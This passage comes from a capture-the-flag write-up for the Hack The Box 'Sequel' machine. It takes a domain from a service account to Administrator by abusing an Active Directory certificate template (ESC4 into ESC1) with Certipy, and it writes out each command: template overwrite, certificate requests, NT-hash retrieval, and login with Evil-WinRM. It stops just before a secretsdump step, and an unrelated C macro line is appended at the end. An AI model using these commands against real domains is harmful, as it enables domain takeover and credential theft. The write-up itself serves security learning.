      • The group SEQUEL.HTB\Cert Publishers has dangerous permissions (e.g., Full Control) over the template.
      • Members of this group can potentially abuse their control to allow enrollment for unauthorized users or themselves.

ESC4

The ESC4 attack refers to a certificate template with a weak access control, which can lead to domain escalation by allowing users to edit the template and introduce malicious misconfigurations, such as ESC1. The detailed introduction about ESC4 can be referred to this article.

We can privesc from CA_SVC to Administrator with the vulnerability via the following steps, according to the Certipy documentation.

Certificate Abuse

Select the vulnerable template (DunderMifflinAuthentication) identified in the previous step and prepare to abuse it for privilege escalation. Use the template option Certipy will overwrite the configuration to make it vulnerable to ESC1 by default:

Bash
certipy template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip $ip -save-old

We have successfully modified the template from its old configurations:

The certificate template is now vulnerable to the ESC1 technique.

Request a Certificate for Administrator

We can now exploit the vulnerable ESC4 template to request a certificate, specifying an arbitrary Subject Alternative Name (SAN) using the -upn or -dns parameter. For example:

Bash
certipy req -username [email protected] -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn [email protected]

But in this scenario, we lack the user's password (or we can manage to reset the password in previous steps to skip this part), the Kerberos ticket fails with Certipy, and the encrypted certificate (.pfx) is unusable. This mirrors a challenge I highlighted in the Mist writeup.

Retrieve CA_SVC NT Hash with Certipy

Certipy's commands do not support PFXs with passwords. In order to use an encrypted PFX with Certipy, we can re-create a PFX by importing the password with the "cert" module, namely we decrypt the PFX before use:

Bash
certipy cert -pfx gtpwNhXt.pfx -password $certpass -export -out axura.pfx

As a best practice, always verify the private key using openssl:

Once confirmed, use certipy auth with the new no-password .pfx file to retrieve the NT hash:

Bash
certipy auth -pfx axura.pfx -u ca_svc -domain sequel.htb -dc-ip $ip

Request Administrator TGT

Now, using the NT hash of ca_svc, we can request a TGT through the vulnerable DunderMifflinAuthentication template for the Administrator account by specifying the upn:

Bash
certipy req -hashes ':3b181b914e7a9d5508ea1e▒▒▒▒▒▒▒▒' -u 'ca_svc' -ca 'sequel-DC01-CA' -target 'DC01.sequel.htb' -ns $ip -dns $ip -dc-ip $ip -template DunderMifflinAuthentication -upn '[email protected]' 

Authenticate Using the New Certificate

To retrieve the Administrator NT hash using the generated TGT, run the following command:

Bash
certipy auth -pfx administrator_10.pfx -dc-ip $ip

Root

Remote log in to the machine as Administrator using Evil-WinRM and the obtained NT hash:

Rooted. Perform a hash dump using Impacket's secretsdump.py to extract and reveal the plaintext password for the Administrator account:


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)